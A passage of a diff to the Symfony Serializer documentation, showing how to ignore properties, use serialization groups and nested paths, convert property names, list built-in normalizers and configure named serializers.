$encoders); + + // use normalize() to convert a PHP object to an array + $personArray = $serializer->normalize($person, 'json'); + + // ...and denormalize() to convert an array back to a PHP object + $personCopy = $serializer->denormalize($personArray, Person::class); + + $data = ['name' => 'Jane Doe']; + + // use encode() to transform PHP arrays into another format + $json = $serializer->encode($data, 'json'); + + // ...and decode() to transform any format to just PHP arrays (instead of objects) + $data = $serializer->decode('{"name":"Charlie Doe"}', 'json'); + // $data contains ['name' => 'Charlie Doe'] + +.. _serializer_ignoring-attributes: + +Ignoring Properties +------------------- + +The ``ObjectNormalizer`` normalizes *all* properties of an object and all +methods starting with ``get*()``, ``has*()``, ``is*()`` and ``can*()``. +Some properties or methods should never be serialized. You can exclude +them using the ``#[Ignore]`` attribute: + +.. configuration-block:: + + .. code-block:: php-attributes + + // src/Model/Person.php + namespace App\Model; + + use Symfony\Component\Serializer\Attribute\Ignore; + + class Person + { + // ... + + #[Ignore] + public function isPotentiallySpamUser(): bool + { + // ... + } + } + + .. code-block:: yaml + + App\Model\Person: + attributes: + potentiallySpamUser: + ignore: true + + .. code-block:: xml + + <?xml version="1.0" ?> + <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping + https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd" + > + <class name="App\Model\Person"> + <attribute name="potentiallySpamUser" ignore="true"/> + </class> + </serializer> + +The ``potentiallySpamUser`` property will now never be serialized: + +.. configuration-block:: + + .. code-block:: php-symfony + + use App\Model\Person; + + // ... + $person = new Person('Jane Doe', 32, false); + $json = $serializer->serialize($person, 'json'); + // $json contains {"name":"Jane Doe","age":32,"sportsperson":false} + + $person1 = $serializer->deserialize( + '{"name":"Jane Doe","age":32,"sportsperson":false","potentiallySpamUser":false}', + Person::class, + 'json' + ); + // the "potentiallySpamUser" value is ignored + + .. code-block:: php-standalone + + use App\Model\Person; + use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory; + use Symfony\Component\Serializer\Mapping\Loader\AttributeLoader; + use Symfony\Component\Serializer\Normalizer\ObjectNormalizer; + use Symfony\Component\Serializer\Serializer; + + // ... + + // you need to pass a class metadata factory with a loader to the + // ObjectNormalizer when reading mapping information like Ignore or Groups. + // E.g. when using PHP attributes: + $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader()); + $normalizers = [new ObjectNormalizer($classMetadataFactory)]; + + $serializer = new Serializer($normalizers, $encoders); + + $person = new Person('Jane Doe', 32, false); + $json = $serializer->serialize($person, 'json'); + // $json contains {"name":"Jane Doe","age":32,"sportsperson":false} + + $person1 = $serializer->deserialize( + '{"name":"Jane Doe","age":32,"sportsperson":false","potentiallySpamUser":false}', + Person::class, + 'json' + ); + // the "potentiallySpamUser" value is ignored + +Ignoring Attributes Using the Context +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +You can also pass an array of attribute names to ignore at runtime using +the ``ignored_attributes`` context options:: + + use Symfony\Component\Serializer\Normalizer\AbstractNormalizer; + + // ... + $person = new Person('Jane Doe', 32, false); + $json = $serializer->serialize($person, 'json', + [ + AbstractNormalizer::IGNORED_ATTRIBUTES => ['age'], + ]); + // $json contains {"name":"Jane Doe","sportsperson":false} + +However, this can quickly become unmaintainable if used excessively. See +the next section about *serialization groups* for a better solution. + +.. _serializer-groups-attribute: + +Selecting Specific Properties +----------------------------- + +Instead of excluding a property or method in all situations, you might need +to exclude some properties in one place, but serialize them in another. +Groups are a handy way to achieve this. + +You can add the ``#[Groups]`` attribute to your class: + +.. configuration-block:: + + .. code-block:: php-attributes + + // src/Model/Person.php + namespace App\Model; + + use Symfony\Component\Serializer\Attribute\Groups; + + class Person + { + #[Groups(["admin-view"])] + private int $age; + + #[Groups(["public-view"])] + private string $name; + + #[Groups(["public-view"])] + private bool $sportsperson; + + // ... + } + + .. code-block:: yaml + + # config/serializer/person.yaml + App\Model\Person: + attributes: + age: + groups: ['admin-view'] + name: + groups: ['public-view'] + sportsperson: + groups: ['public-view'] + + .. code-block:: xml + + <!-- config/serializer/person.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping + https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd" + > + <class name="App\Model\Person"> + <attribute name="age"> + <group>admin-view</group> + </attribute> + <attribute name="name"> + <group>public-view</group> + </attribute> + <attribute name="sportsperson"> + <group>public-view</group> + </attribute> + </class> + </serializer> + +You can now choose which groups to use when serializing:: + + $json = $serializer->serialize( + $person, + 'json', + ['groups' => 'public-view'] + ); + // $json contains {"name":"Jane Doe","sportsperson":false} + + // you can also pass an array of groups + $json = $serializer->serialize( + $person, + 'json', + ['groups' => ['public-view', 'admin-view']] + ); + // $json contains {"name":"Jane Doe","age":32,"sportsperson":false} + + // or use the special "*" value to select all groups + $json = $serializer->serialize( + $person, + 'json', + ['groups' => '*'] + ); + // $json contains {"name":"Jane Doe","age":32,"sportsperson":false} + +Using the Serialization Context +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +At last, you can also use the ``attributes`` context option to select +properties at runtime:: + + use Symfony\Component\Serializer\Normalizer\AbstractNormalizer; + // ... + + $json = $serializer->serialize($person, 'json', [ + AbstractNormalizer::ATTRIBUTES => ['name', 'company' => ['name']] + ]); + // $json contains {"name":"Dunglas","company":{"name":"Les-Tilleuls.coop"}} + +Only attributes that are :ref:`not ignored <serializer_ignoring-attributes>` +are available. If serialization groups are set, only attributes allowed by +those groups can be used. + +.. _serializer-handling-arrays: + +Handling Arrays +--------------- + +The serializer is capable of handling arrays of objects. Serializing arrays +works just like serializing a single object:: + + use App\Model\Person; + + // ... + $person1 = new Person('Jane Doe', 39, false); + $person2 = new Person('John Smith', 52, true); + + $persons = [$person1, $person2]; + $JsonContent = $serializer->serialize($persons, 'json'); + + // $jsonContent contains [{"name":"Jane Doe","age":39,"sportsman":false},{"name":"John Smith","age":52,"sportsman":true}] + +To deserialize a list of objects, you have to append ``[]`` to the type +parameter:: + + // ... + + $jsonData = ...; // the serialized JSON data from the previous example + $persons = $serializer->deserialize($JsonData, Person::class.'[]', 'json'); + +For nested classes, you have to add a PHPDoc type to the property, constructor or setter:: + + // src/Model/UserGroup.php + namespace App\Model; + + class UserGroup + { + /** + * @param Person[] $members + */ + public function __construct( + private array $members, + ) { + } + + // or if you're using a setter + + /** + * @param Person[] $members + */ + public function setMembers(array $members): void + { + $this->members = $members; + } + + // ... + } + +.. tip:: + + The Serializer also supports array types used in static analysis, like + ``list<Person>`` and ``array<Person>``. Make sure the + ``phpstan/phpdoc-parser`` and ``phpdocumentor/reflection-docblock`` + packages are installed (these are part of the ``symfony/serializer-pack``). + +.. _serializer-nested-structures: + +Deserializing Nested Structures +------------------------------- + +Some APIs might provide verbose nested structures that you want to flatten +in the PHP object. For instance, imagine a JSON response like this: + +.. code-block:: json + + { + "id": "123", + "profile": { + "username": "jdoe", + "personal_information": { + "full_name": "Jane Doe" + } + } + } + +You may wish to serialize this information to a single PHP object like:: + + class Person + { + private int $id; + private string $username; + private string $fullName; + } + +Use the ``#[SerializedPath]`` to specify the path of the nested property +using :doc:`valid PropertyAccess syntax </components/property_access>`: + +.. configuration-block:: + + .. code-block:: php-attributes + + namespace App\Model; + + use Symfony\Component\Serializer\Attribute\SerializedPath; + + class Person + { + private int $id; + + #[SerializedPath('[profile][username]')] + private string $username; + + #[SerializedPath('[profile][personal_information][full_name]')] + private string $fullName; + } + + .. code-block:: yaml + + App\Model\Person: + attributes: + username: + serialized_path: '[profile][username]' + fullName: + serialized_path: '[profile][personal_information][full_name]' + + .. code-block:: xml + + <?xml version="1.0" encoding="UTF-8" ?> + <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping + https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd" + > + <class name="App\Model\Person"> + <attribute name="username" serialized-path="[profile][username]"/> + <attribute name="fullName" serialized-path="[profile][personal_information][full_name]"/> + </class> + </serializer> + +.. warning:: + + The ``SerializedPath`` cannot be used in combination with a + ``SerializedName`` for the same property. + +The ``#[SerializedPath]`` attribute also applies to the serialization of a +PHP object:: + + use App\Model\Person; + // ... + + $person = new Person(123, 'jdoe', 'Jane Doe'); + $jsonContent = $serializer->serialize($person, 'json'); + // $jsonContent contains {"id":123,"profile":{"username":"jdoe","personal_information":{"full_name":"Jane Doe"}}} + +.. _serializer-name-conversion: + +Converting Property Names when Serializing and Deserializing +------------------------------------------------------------ + +Sometimes serialized attributes must be named differently than properties +or getter/setter methods of PHP classes. This can be achieved using name +converters. + +The serializer service uses the +:class:`Symfony\\Component\\Serializer\\NameConverter\\MetadataAwareNameConverter`. +With this name converter, you can change the name of an attribute using +the ``#[SerializedName]`` attribute: + +.. configuration-block:: + + .. code-block:: php-attributes + + // src/Model/Person.php + namespace App\Model; + + use Symfony\Component\Serializer\Attribute\SerializedName; + + class Person + { + #[SerializedName('customer_name')] + private string $name; + + // ... + } + + .. code-block:: yaml + + # config/serializer/person.yaml + App\Entity\Person: + attributes: + name: + serialized_name: customer_name + + .. code-block:: xml + + <!-- config/serializer/person.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping + https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd" + > + <class name="App\Entity\Person"> + <attribute name="name" serialized-name="customer_name"/> + </class> + </serializer> + +This custom mapping is used to convert property names when serializing and +deserializing objects: + +.. configuration-block:: + + .. code-block:: php-symfony + + // ... + + $json = $serializer->serialize($person, 'json'); + // $json contains {"customer_name":"Jane Doe", ...} + + .. code-block:: php-standalone + + use App\Model\Person; + use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory; + use Symfony\Component\Serializer\Mapping\Loader\AttributeLoader; + use Symfony\Component\Serializer\NameConverter\MetadataAwareNameConverter; + use Symfony\Component\Serializer\Normalizer\ObjectNormalizer; + use Symfony\Component\Serializer\Serializer; + + // ... + + // Configure a loader to retrieve mapping information like SerializedName. + // E.g. when using PHP attributes: + $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader()); + $nameConverter = new MetadataAwareNameConverter($classMetadataFactory); + $normalizers = [ + new ObjectNormalizer($classMetadataFactory, $nameConverter), + ]; + + $serializer = new Serializer($normalizers, $encoders); + + $person = new Person('Jane Doe', 32, false); + $json = $serializer->serialize($person, 'json'); + // $json contains {"customer_name":"Jane Doe", ...} + +.. seealso:: + + You can also create a custom name converter class. Read more about this + in :doc:`/serializer/custom_name_converter`. + +.. _using-camelized-method-names-for-underscored-attributes: + +CamelCase to snake_case +~~~~~~~~~~~~~~~~~~~~~~~ + +In many formats, it's common to use underscores to separate words (also known +as snake_case). However, in Symfony applications is common to use camelCase to +name properties. + +Symfony provides a built-in name converter designed to transform between +snake_case and CamelCased styles during serialization and deserialization +processes. You can use it instead of the metadata aware name converter by +setting the ``name_converter`` setting to +``serializer.name_converter.camel_case_to_snake_case``: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/serializer.yaml + framework: + serializer: + name_converter: 'serializer.name_converter.camel_case_to_snake_case' + + .. code-block:: xml + + <!-- config/packages/serializer.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <framework:config> + <framework:serializer + name-converter="serializer.name_converter.camel_case_to_snake_case" + /> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/serializer.php + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->serializer() + ->nameConverter('serializer.name_converter.camel_case_to_snake_case') + ; + }; + + .. code-block:: php-standalone + + use Symfony\Component\Serializer\NameConverter\CamelCaseToSnakeCaseNameConverter; + use Symfony\Component\Serializer\Normalizer\ObjectNormalizer; + + // ... + $normalizers = [ + new ObjectNormalizer(null, new CamelCaseToSnakeCaseNameConverter()), + ]; + $serializer = new Serializer($normalizers, $encoders); + +snake_case to CamelCase +~~~~~~~~~~~~~~~~~~~~~~~ + +In Symfony applications, it is common to use camelCase for naming properties. +However some packages may follow a snake_case convention. + +Symfony provides a built-in name converter designed to transform between +CamelCase and snake_case styles during serialization and deserialization +processes. You can use it instead of the metadata-aware name converter by +setting the ``name_converter`` setting to +``serializer.name_converter.snake_case_to_camel_case``: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/serializer.yaml + framework: + serializer: + name_converter: 'serializer.name_converter.snake_case_to_camel_case' + + .. code-block:: xml + + <!-- config/packages/serializer.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <framework:config> + <framework:serializer + name-converter="serializer.name_converter.snake_case_to_camel_case" + /> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/serializer.php + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->serializer() + ->nameConverter('serializer.name_converter.snake_case_to_camel_case') + ; + }; + + .. code-block:: php-standalone + + use Symfony\Component\Serializer\NameConverter\SnakeCaseToCamelCaseNameConverter; + use Symfony\Component\Serializer\Normalizer\ObjectNormalizer; + + // ... + $normalizers = [ + new ObjectNormalizer(null, new SnakeCaseToCamelCaseNameConverter()), + ]; + $serializer = new Serializer($normalizers, $encoders); + +.. versionadded:: 7.2 + + The snake_case to CamelCase converter was introduced in Symfony 7.2. + +.. _serializer-built-in-normalizers: + +Serializer Normalizers +---------------------- + +By default, the serializer service is configured with the following +normalizers (in order of priority): + +:class:`Symfony\\Component\\Serializer\\Normalizer\\UnwrappingDenormalizer` + Can be used to only denormalize a part of the input, read more about + this :ref:`later in this article <serializer-unwrapping-denormalizer>`. + +:class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer` + Normalizes :class:`Symfony\\Component\\ErrorHandler\\Exception\\FlattenException` + errors according to the API Problem spec `RFC 7807`_. + +:class:`Symfony\\Component\\Serializer\\Normalizer\\UidNormalizer` + Normalizes objects that extend :class:`Symfony\\Component\\Uid\\AbstractUid`. + + The default normalization format for objects that implement :class:`Symfony\\Component\\Uid\\Uuid` + is the `RFC 4122`_ format (example: ``d9e7a184-5d5b-11ea-a62a-3499710062d0``). + The default normalization format for objects that implement :class:`Symfony\\Component\\Uid\\Ulid` + is the Base 32 format (example: ``01E439TP9XJZ9RPFH3T1PYBCR8``). + You can change the string format by setting the serializer context option + ``UidNormalizer::NORMALIZATION_FORMAT_KEY`` to ``UidNormalizer::NORMALIZATION_FORMAT_BASE_58``, + ``UidNormalizer::NORMALIZATION_FORMAT_BASE_32`` or ``UidNormalizer::NORMALIZATION_FORMAT_RFC_4122``. + + Also it can denormalize ``uuid`` or ``ulid`` strings to :class:`Symfony\\Component\\Uid\\Uuid` + or :class:`Symfony\\Component\\Uid\\Ulid`. The format does not matter. + +:class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer` + This normalizes between :phpclass:`DateTimeInterface` objects (e.g. + :phpclass:`DateTime` and :phpclass:`DateTimeImmutable`) and strings, + integers or floats. + + :phpclass:`DateTime` and :phpclass:`DateTimeImmutable`) into strings, + integers or floats. By default, it converts them to strings using the + `RFC 3339`_ format. Use ``DateTimeNormalizer::FORMAT_KEY`` and + ``DateTimeNormalizer::TIMEZONE_KEY`` to change the format. + + To convert the objects to integers or floats, set the serializer + context option ``DateTimeNormalizer::CAST_KEY`` to ``int`` or + ``float``. + + .. versionadded:: 7.1 + + The ``DateTimeNormalizer::CAST_KEY`` context option was introduced in Symfony 7.1. + +:class:`Symfony\\Component\\Serializer\\Normalizer\\ConstraintViolationListNormalizer` + This normalizer converts objects that implement + :class:`Symfony\\Component\\Validator\\ConstraintViolationListInterface` + into a list of errors according to the `RFC 7807`_ standard. + +:class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeZoneNormalizer` + This normalizer converts between :phpclass:`DateTimeZone` objects and strings that + represent the name of the timezone according to the `list of PHP timezones`_. + +:class:`Symfony\\Component\\Serializer\\Normalizer\\DateIntervalNormalizer` + This normalizes between :phpclass:`DateInterval` objects and strings. + By default, the ``P%yY%mM%dDT%hH%iM%sS`` format is used. Use the + ``DateIntervalNormalizer::FORMAT_KEY`` option to change this. + +:class:`Symfony\\Component\\Serializer\\Normalizer\\FormErrorNormalizer` + This normalizer works with classes that implement + :class:`Symfony\\Component\\Form\\FormInterface`. + + It will get errors from the form and normalize them according to the + API Problem spec `RFC 7807`_. + +:class:`Symfony\\Component\\Serializer\\Normalizer\\TranslatableNormalizer` + This normalizer converts objects implementing :class:`Symfony\\Contracts\\Translation\\TranslatableInterface` + to a translated string using the :doc:`translator </translation>`. + + You can define the locale to use to translate the object by setting the + ``TranslatableNormalizer::NORMALIZATION_LOCALE_KEY`` context option. + +:class:`Symfony\\Component\\Serializer\\Normalizer\\BackedEnumNormalizer` + This normalizer converts between :phpclass:`BackedEnum` enums and + strings or integers. + + By default, an exception is thrown when data is not a valid backed enumeration. If you + want ``null`` instead, you can set the ``BackedEnumNormalizer::ALLOW_INVALID_VALUES`` option. + +:class:`Symfony\\Component\\Serializer\\Normalizer\\NumberNormalizer` + This normalizer converts between :phpclass:`BcMath\\Number` or :phpclass:`GMP` objects and + strings or integers. + +.. versionadded:: 7.2 + + The ``NumberNormalizer`` was introduced in Symfony 7.2. + +:class:`Symfony\\Component\\Serializer\\Normalizer\\DataUriNormalizer` + This normalizer converts between :phpclass:`SplFileInfo` objects and a + `data URI`_ string (``data:...``) such that files can be embedded into + serialized data. + +:class:`Symfony\\Component\\Serializer\\Normalizer\\JsonSerializableNormalizer` + This normalizer works with classes that implement :phpclass:`JsonSerializable`. + + It will call the :phpmethod:`JsonSerializable::jsonSerialize` method and + then further normalize the result. This means that nested + :phpclass:`JsonSerializable` classes will also be normalized. + + This normalizer is particularly helpful when you want to gradually migrate + from an existing codebase using simple :phpfunction:`json_encode` to the Symfony + Serializer by allowing you to mix which normalizers are used for which classes. + + Unlike with :phpfunction:`json_encode` circular references can be handled. + +:class:`Symfony\\Component\\Serializer\\Normalizer\\ArrayDenormalizer` + This denormalizer converts an array of arrays to an array of objects + (with the given type). See :ref:`Handling Arrays <serializer-handling-arrays>`. + + Use :class:`Symfony\\Component\\PropertyInfo\\PropertyInfoExtractor` to provide + hints with annotations like ``@var Person[]``: + + .. configuration-block:: + + .. code-block:: php-standalone + + use Symfony\Component\PropertyInfo\Extractor\PhpDocExtractor; + use Symfony\Component\PropertyInfo\Extractor\ReflectionExtractor; + use Symfony\Component\PropertyInfo\PropertyInfoExtractor; + use Symfony\Component\Serializer\Encoder\JsonEncoder; + use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory; + use Symfony\Component\Serializer\Mapping\Loader\AttributeLoader; + use Symfony\Component\Serializer\Normalizer\ArrayDenormalizer; + use Symfony\Component\Serializer\Normalizer\ObjectNormalizer; + use Symfony\Component\Serializer\Serializer; + + $propertyInfo = new PropertyInfoExtractor([], [new PhpDocExtractor(), new ReflectionExtractor()]); + $normalizers = [new ObjectNormalizer(new ClassMetadataFactory(new AttributeLoader()), null, null, $propertyInfo), new ArrayDenormalizer()]; + + $this->serializer = new Serializer($normalizers, [new JsonEncoder()]); + +:class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer` + This is the most powerful default normalizer and used for any object + that could not be normalized by the other normalizers. + + It leverages the :doc:`PropertyAccess Component </components/property_access>` + to read and write in the object. This allows it to access properties + directly or using getters, setters, hassers, issers, canners, adders and + removers. Names are generated by removing the ``get``, ``set``, + ``has``, ``is``, ``add`` or ``remove`` prefix from the method name and + transforming the first letter to lowercase (e.g. ``getFirstName()`` -> + ``firstName``). + + During denormalization, it supports using the constructor as well as + the discovered methods. + +.. danger:: + + Always make sure the ``DateTimeNormalizer`` is registered when + serializing the ``DateTime`` or ``DateTimeImmutable`` classes to avoid + excessive memory usage and exposing internal details. + +Built-in Normalizers +~~~~~~~~~~~~~~~~~~~~ + +Besides the normalizers registered by default (see previous section), the +serializer component also provides some extra normalizers. You can register +these by defining a service and tag it with :ref:`serializer.normalizer <reference-dic-tags-serializer-normalizer>`. +For instance, to use the ``CustomNormalizer`` you have to define a service +like: + +.. configuration-block:: + + .. code-block:: yaml + + # config/services.yaml + services: + # ... + + # if you're using autoconfigure, the tag will be automatically applied + Symfony\Component\Serializer\Normalizer\CustomNormalizer: + tags: + # register the normalizer with a high priority (called earlier) + - { name: 'serializer.normalizer', priority: 500 } + + .. code-block:: xml + + <!-- config/services.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd"> + + <services> + <!-- ... --> + + <!-- if you're using autoconfigure, the tag will be automatically applied --> + <service id="Symfony\Component\Serializer\Normalizer\CustomNormalizer"> + <!-- register the normalizer with a high priority (called earlier) --> + <tag name="serializer.normalizer" + priority="500" + /> + </service> + </services> + </container> + + .. code-block:: php + + // config/services.php + namespace Symfony\Component\DependencyInjection\Loader\Configurator; + + use Symfony\Component\Serializer\Normalizer\CustomNormalizer; + + return function(ContainerConfigurator $container) { + // ... + + // if you're using autoconfigure, the tag will be automatically applied + $services->set(CustomNormalizer::class) + // register the normalizer with a high priority (called earlier) + ->tag('serializer.normalizer', [ + 'priority' => 500, + ]) + ; + }; + +:class:`Symfony\\Component\\Serializer\\Normalizer\\CustomNormalizer` + This normalizer calls a method on the PHP object when normalizing. The + PHP object must implement :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizableInterface` + and/or :class:`Symfony\\Component\\Serializer\\Normalizer\\DenormalizableInterface`. + +:class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer` + This normalizer is an alternative to the default ``ObjectNormalizer``. + It reads the content of the class by calling the "getters" (public + methods starting with ``get``, ``has``, ``is`` or ``can``). It will + denormalize data by calling the constructor and the "setters" (public + methods starting with ``set``). + + Objects are normalized to a map of property names and values (names are + generated by removing the ``get`` prefix from the method name and transforming + the first letter to lowercase; e.g. ``getFirstName()`` -> ``firstName``). + +:class:`Symfony\\Component\\Serializer\\Normalizer\\PropertyNormalizer` + This is yet another alternative to the ``ObjectNormalizer``. This + normalizer directly reads and writes public properties as well as + **private and protected** properties (from both the class and all of + its parent classes) by using `PHP reflection`_. It supports calling the + constructor during the denormalization process. + + Objects are normalized to a map of property names to property values. + + You can also limit the normalizer to only use properties with a specific + visibility (e.g. only public properties) using the + ``PropertyNormalizer::NORMALIZE_VISIBILITY`` context option. You can set it + to any combination of the ``PropertyNormalizer::NORMALIZE_PUBLIC``, + ``PropertyNormalizer::NORMALIZE_PROTECTED`` and + ``PropertyNormalizer::NORMALIZE_PRIVATE`` constants:: + + use Symfony\Component\Serializer\Normalizer\PropertyNormalizer; + // ... + + $json = $serializer->serialize($person, 'json', [ + // only serialize public properties + PropertyNormalizer::NORMALIZE_VISIBILITY => PropertyNormalizer::NORMALIZE_PUBLIC, + + // serialize public and protected properties + PropertyNormalizer::NORMALIZE_VISIBILITY => PropertyNormalizer::NORMALIZE_PUBLIC | PropertyNormalizer::NORMALIZE_PROTECTED, + ]); + +Named Serializers +----------------- + +.. versionadded:: 7.2 + + Named serializers were introduced in Symfony 7.2. + +Sometimes, you may need multiple configurations for the serializer, such as +different default contexts, name converters, or sets of normalizers and encoders, +depending on the use case. For example, when your application communicates with +multiple APIs, each of which follows its own set of serialization rules. + +You can achieve this by configuring multiple serializer instances using +the ``named_serializers`` option: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/serializer.yaml + framework: + serializer: + named_serializers: + api_client1: + name_converter: 'serializer.name_converter.camel_case_to_snake_case' + default_context: + enable_max_depth: true + api_client2: + default_context: + enable_max_depth: false + + .. code-block:: xml -In applications using :ref:`Symfony Flex <symfony-flex>`, run this command to -install the ``serializer`` :ref:`Symfony pack <symfony-packs>` before using it: + <!-- config/packages/serializer.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <framework:config> + <framework:serializer> + + <framework:named-serializer + name="api_client1" + name-converter="serializer.name_converter.camel_case_to_snake_case" + > + <framework:default-context> + <framework:enable_max_depth>true</framework:enable_max_depth> + </framework:default-context> + </framework:named-serializer> + + <framework:named-serializer name="api_client2"> + <framework:default-context> + <framework:enable_max_depth>false</framework:enable_max_depth> + </framework:default-context> + </framework:named-serializer> + + </framework:serializer> + </framework:config> + </container> -.. code-block:: terminal + .. code-block:: php - $ composer require symfony/serializer-pack + // config/packages/serializer.php + use Symfony\Config\FrameworkConfig; -Using the Serializer Service ----------------------------- + return static function (FrameworkConfig $framework): void { + $framework->serializer() + ->namedSerializer('api_client1') + ->nameConverter('serializer.name_converter.camel_case_to_snake_case') + ->defaultContext([ + 'enable_max_depth' => true, + ]) + ; + $framework->serializer() + ->namedSerializer('api_client2') + ->defaultContext([ + 'enable_max_depth' => false, + ]) + ; + }; -Once enabled, the serializer service can be injected in any service where -you need it or it can be used in a controller:: +You can inject these different serializer instances +using :ref:`named aliases <autowiring-multiple-implementations-same-type>`:: - // src/Controller/DefaultController.php namespace App\Controller; - use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; - use Symfony\Component\Serializer\SerializerInterface; + // ... + use Symfony\Component\DependencyInjection\Attribute\Target; - class DefaultController extends AbstractController + class PersonController extends AbstractController { - public function index(SerializerInterface $serializer) - { - // keep reading for usage examples + public function index( + SerializerInterface $serializer, // default serializer + SerializerInterface $apiClient1Serializer, // api_client1 serializer + #[Target('apiClient2.serializer')] // api_client2 serializer + SerializerInterface $customName, + ) { + // ... } } -Adding Normalizers and Encoders -------------------------------- - -Once enabled, the ``serializer`` service will be available in the container. -It comes with a set of useful :ref:`encoders <component-serializer-encoders>` -and :ref:`normalizers <component-serializer-normalizers>`. - -Encoders supporting the following formats are enabled: - -* JSON: :class:`Symfony\\Component\\Serializer\\Encoder\\JsonEncoder` -* XML: :class:`Symfony\\Component\\Serializer\\Encoder\\XmlEncoder` -* CSV: :class:`Symfony\\Component\\Serializer\\Encoder\\CsvEncoder` -* YAML: :class:`Symfony\\Component\\Serializer\\Encoder\\YamlEncoder` - -As well as the following normalizers: - -* :class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer` to - handle typical data objects -* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer` for - objects implementing the :phpclass:`DateTimeInterface` interface -* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeZoneNormalizer` for - :phpclass:`DateTimeZone` objects -* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateIntervalNormalizer` - for :phpclass:`DateInterval` objects -* :class:`Symfony\\Component\\Serializer\\Normalizer\\DataUriNormalizer` to - transform :phpclass:`SplFileInfo` objects in `Data URIs`_ -* :class:`Symfony\\Component\\Serializer\\Normalizer\\FormErrorNormalizer` for - objects implementing the :class:`Symfony\\Component\\Form\\FormInterface` to - normalize form errors. -* :class:`Symfony\\Component\\Serializer\\Normalizer\\JsonSerializableNormalizer` - to deal with objects implementing the :phpclass:`JsonSerializable` interface -* :class:`Symfony\\Component\\Serializer\\Normalizer\\ArrayDenormalizer` to - denormalize arrays of objects using a notation like ``MyObject[]`` (note the ``[]`` suffix) -* :class:`Symfony\\Component\\Serializer\\Normalizer\\ConstraintViolationListNormalizer` for objects implementing the :class:`Symfony\\Component\\Validator\\ConstraintViolationListInterface` interface -* :class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer` for :class:`Symfony\\Component\\ErrorHandler\\Exception\\FlattenException` objects - -Custom normalizers and/or encoders can also be loaded by tagging them as -:ref:`serializer.normalizer <reference-dic-tags-serializer-normalizer>` and -:ref:`serializer.encoder <reference-dic-tags-serializer-encoder>`. It's also -possible to set the priority of the tag in order to decide the matching order. - -Here is an example on how to load the -:class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer`, a -faster alternative to the `ObjectNormalizer` when data objects always use -getters (``getXxx()``), issers (``isXxx()``) or hassers (``hasXxx()``) to read -properties and setters (``setXxx()``) to change properties: +By default, named serializers use the built-in set of normalizers and encoders, +just like the main serializer service. However, you can customize them by +registering additional normalizers or encoders for a specific named serializer. +To do that, add a ``serializer`` attribute to +the 